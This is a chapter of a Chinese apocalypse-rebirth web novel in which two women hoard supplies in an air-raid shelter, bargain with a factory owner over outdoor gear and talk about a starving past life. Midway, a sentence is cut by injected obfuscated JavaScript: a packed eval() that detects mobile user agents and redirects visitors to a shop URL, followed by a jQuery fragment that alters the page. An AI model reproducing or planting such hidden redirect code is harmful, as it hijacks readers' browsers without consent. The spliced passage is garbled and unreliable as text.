那些物资被分批运进防空洞。
第一次来的时候是空的。第二次来的时候，角落里多了几箱水。第三次来的时候，压缩饼干摞成了一堵矮墙。第四次来的时候，她们在角落里放了折叠床和应急灯。
每次从防空洞出来，站在阳光下，林知晓都会有一瞬间的恍惚。
这个世界还这么正常。阳光还这么暖和。路上的人还在讨论午饭吃什么、周末去哪玩。
而她们在地下囤着够活至少一年的东西。
距离末世还有四十九天。
---
又一天。
“就是这里吧？”林知晓把车停在了一条老旧的工业区路口，扭头向副驾驶的温枝询问。
“和记忆里有点不一样，但位置应该没错的。”温枝谨慎答到。
“不管怎样，先去看看吧。”
前面是一扇生锈的铁门，铁门后面是几排灰扑扑的厂房。门口挂着一个牌子，厂名已经褪色了，但还能辨认——就是那家。
温枝站在门口，没动。
林知晓等了两秒，侧过头看她。
她的脸没什么表情，但眼睛不一样。那双眼睛看着那扇门，看的好像不是门，是别的什么东西。
“怎么了？”
她没回答。站在原地，忽然想起一些事。
上辈子她路过这里的时候，是末世的第三年。那时候她已经不记得自己饿了多久，只记得胃里像塞了一块石头，又冷又硬。她沿着这条路往城外走，因为听说郊区有避难所。
然后她看到了这家工厂。
门被砸开了，厂房里空荡荡的，地上全是踩烂的纸箱和被人翻过之后扔掉的包装袋。有人还在里面翻，疯了似的扒拉着那些已经被搜刮过无数遍的角落。
她走进去，在角落里捡到一包被人踩破的压缩饼干。饼干已经碎了，混着地上的灰，但她还是蹲下来，把能捡的碎渣一粒一粒捡起来，塞进嘴里。
那时候她就在想：如果早点知道这里有东西，如果能在末世刚开始的时候就来这里……
她没往下想。因为想也没用。
“温枝。”
林知晓的声音把她拉回来。
温枝眨了眨眼，发现自己还站在阳光下。阳光很暖，铁门还关着，厂房还在，里面堆满了还没被人动过的纸箱。
她深吸一口气。
“走吧。”她说，推开门。
厂房里比外面看着还要破。
地上全是灰，墙角堆着一些锈蚀的机器，屋顶有几处漏了，光从破洞里斜着照进来，能看见灰尘在光柱里飘。
林知晓走进去，鞋底踩在碎玻璃上，咯吱响。
“东西在哪儿？”
“最里面。”温枝跟在她身后，“老板说全在后仓。”
她们穿过厂房，推开一扇吱呀作响的铁门，眼前是一个更大的空间。码得整整齐齐的纸箱，从地上摞到天花板。帐篷、睡袋、登山绳、净水器、户外炉具——全是崭新的，包装都没拆。
林知晓站在门口，看着那堆东西。
“这么多……”
“嗯。”温枝走到最近的一堆纸箱前，伸手摸了摸，“上辈子被人哄抢的时候，我路过，只捡到一包被人踩破的饼干。”
她顿了顿。
“这次，这些都是我们的。”
林知晓看着她。温枝站在那堆纸箱前面，夕阳从高处的窗户照进来，落在她身上。她的脸还是那张普通的脸，眼睛还是那双沉得过分的眼睛，但这一刻，她看起来有点不一样。
“对。”林知晓说，“都是我们的。”
……
老板是个四十多岁的中年男人，头发已经白了很多，眼睛下面两团青黑，一看就是好几天没睡好。
“就这些？”他站在仓库门口，看着林知晓和温枝。
“就这些。”温枝说，“您开个价。”
老板报了个数。
温枝看了林知晓一眼。
林知晓往前走了一步，说：“能带我们进去看看吗？”
老板点点头，带她往里面走。
仓库很深，码得整整齐齐的纸箱从地上摞到天花板。帐篷、睡袋、登山绳、净水器——全是崭新的，包装都没拆。
走到一半，她忽然停下来。
她蹲下来，假装看那排纸箱，一只手搭在货上，另一只手不经意间擦过老板的衣袖。
一秒钟。
她神色如常地收回手，开口道： “这批货的批号怎么不一样？”
老板回过头。
林知晓蹲下来，指着纸箱侧面的一行数字：“这两个箱子的批号差了三个月。”
老板走过来，低头看了看，没说话。
林知晓站起来，拍了拍手上的灰。
“您这批货不是一批进的吧？”她问，“前面这批是半年前的，后面那批是最近两个月的？”
老板的脸色变了一瞬。
林知晓看着他，没继续问。
她往前走，走到另一堆纸箱前面，伸手摸了摸。帐篷的布料，手感不一样。她翻开一角，看了看标签。
“这个牌子，”她说，“和门口那批也不是同一个厂吧？”
老板站在她身后，没动。
林知晓转过身，看着他。
“您这仓库里，至少有三批不同时间、不同渠道进来的货。”她说，“但您刚才报的是一个价。”
老板张了张嘴，想说什么，但没说出来。
过了几秒，他才尴尬地搓了搓衣角。
“小姑娘眼挺尖。”他说。
“不是眼尖。”林知晓说，“我开网店的，这些见得多了。”
她说这话的时候连眼睛都没眨一下。
温枝站在后面，差点没忍住笑。
而老板看着林知晓，眼神有点复杂。
“那你说，这价怎么算？”
“分开算。”她想了想才说，“半年前那批，按您报的价，但得打个折。最近那批，我可以按原价拿。”
老板愣了一下。
“那批半年前的货，保质期还长着呢——”
“但款式旧了。”林知晓打断他，“您自己也知道，户外用品这东西，每年都有新款。半年前的款，现在网上已经降了两成了。”
老板没说话。
林知晓看着他，忽然问：“您这批货，是不是也是从别人手里接的？”
老板的眼神闪了一下。
林知晓知道她猜对了。
她没继续追问，只是说：“您接的时候是什么价，我不知道。但您现在要出手，就得按现在的行情来。”
老板沉默了很久。
林知晓也不催。她就站在那儿，等着。
仓库里很安静。阳光从高处的窗户照进来，落在那些码得整整齐齐的纸箱上。
“行。”老板终于开口，“就按你说的，分开算。”
林知晓点点头。
“那批半年前的，您给多少？”
林知晓报了个数，正好压着老板的心理底价。
老板皱了皱眉，但没反驳。他又看了看林知晓，像是在重新打量她。
“你以前干过这行？”
“没有。”林知晓笑眯眯地说，“但我会算账。”
老板笑了一下，有点无奈。
“年轻有为啊，行吧。”他说，“就按你说的。”
---
她们雇了两辆货车，连夜把东西往防空洞运。
雇的货车司机把另一辆开走后，温枝盯着林知晓手上转着的钥匙串，嘴巴张了又闭，闭了又张。
“……你会开货车？”不用再叫个师傅吗？
林知晓转钥匙串的手卡顿了一下，有些不好意思地挠挠头，回道：“哈哈，略懂，略懂。”
其实全职写作之前，她体验过很多职业，包括货车司机。
温枝：……
第一趟跑完的时候，天已经全黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323997|199118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。温枝坐在驾驶室里，看着后视镜里那排越来越远的厂房，忽然开口。
“林知晓。”
林知晓正在看手机地图，闻言抬头：“嗯？”
林知晓侧过脸看她。温枝的脸被车窗透进来的光照着，一半亮，一半暗。
“末世第三年。”温枝的声音没什么情绪，像在说别人的事，“我躲过那个厂房。那天晚上死了三个人——不是丧尸，是人。第二天早上我从机器后面出来，把死人衣服扒了，穿在自己身上。其中一个人的口袋里，有半块压缩饼干。”
她抬手指了指身后那扇几乎变成一个小点的工厂大门。
温枝低下头，“我蹲在那儿，把那半块饼干吃了。一边吃一边哭，因为我知道，再过几天，我也会变成那样的人。”
她说完了。
车里很安静。风从车窗缝里钻进来，带着一股草木和泥土的气息。很平常的傍晚气息。
林知晓看着她。
温枝没哭。只是坐在那儿，看着那扇门。
“你变成那样的人了吗？”林知晓问。
温枝摇了摇头。
“没有。”她说，“我死的时候，还是原来的我。”
她低头抠抠自己的手指，微微笑着。
“吃那半块饼干的时候，我还在想，如果还有下辈子，我一定要在末世来之前，把所有能囤的东西都囤起来。”
林知晓看着她。
温枝抬头，对上她的目光。
“结果真有下辈子。”温枝说，“所以我现在在这儿。”
林知晓沉默了几秒。
“那你现在想什么？”
“在想——”她说，“如果上辈子有人能陪我一起蹲在那个机器后面，我可能不会那么怕。”
车里安静了一会儿。
然后林知晓把手机放下，直视着道路前方。
“现在有了。”她说。
温枝愣了一下。
林知晓没看她，只是盯着前方的路。
“现在有人陪你蹲在机器后面了。”她说，“走吧，回家了。”
货车在夜色里行驶着，。
后视镜里，那排厂房越来越远，最后消失在黑暗里。
车外景色快速后退的间隙里，林知晓突然开口： “那半块饼干是什么牌子的？”
“不知道，我拿到的时候包装已经烂了。”温枝没懂她的意思，愣愣答道。
“那今天买的那些，”林知晓说，“你多吃一包。”
温枝看着她，忽然笑了一下。
“你这是在安慰我？”
“不是。”林知晓的嘴角扬了扬，“是在算账。上辈子欠你的，这辈子补上。”
---
接下来几天，她们一直在往防空洞运东西。
工厂那批货分了五趟才运完。然后是之前囤的压缩饼干和水，然后是药品和保暖物资，然后是各种能想到的、可能用得上的东西。
说起来简单做起来难，她们只有两个人，太多东西需要他们亲自去确认，去实施。
为表感谢，再次碰到邻居、再次被问起时，她们虽然没有再透露更多，但也旁敲侧击提醒他多囤一点物资。
至于信不信，那就是他的事情了，说太多反而使人生疑。
防空洞从空荡荡变成了满满当当。角落里摞着成箱的水，靠墙的地方码着压缩饼干墙，帐篷和睡袋堆成一座小山，应急灯和手电筒挂在墙上的钉子上，随时可以取用。
温枝每次进去都会在里面多待一会儿。林知晓知道她在看什么——她在确认这些东西真的存在，不是梦。
距离末世还有四十二天。
---
那天傍晚，林知晓刚从防空洞回来，手机响了。
陌生号码。
她接起来。
“请问是林知晓女士吗？”
“是。”
“您好，我是城东派出所的，有件事想跟您核实一下。”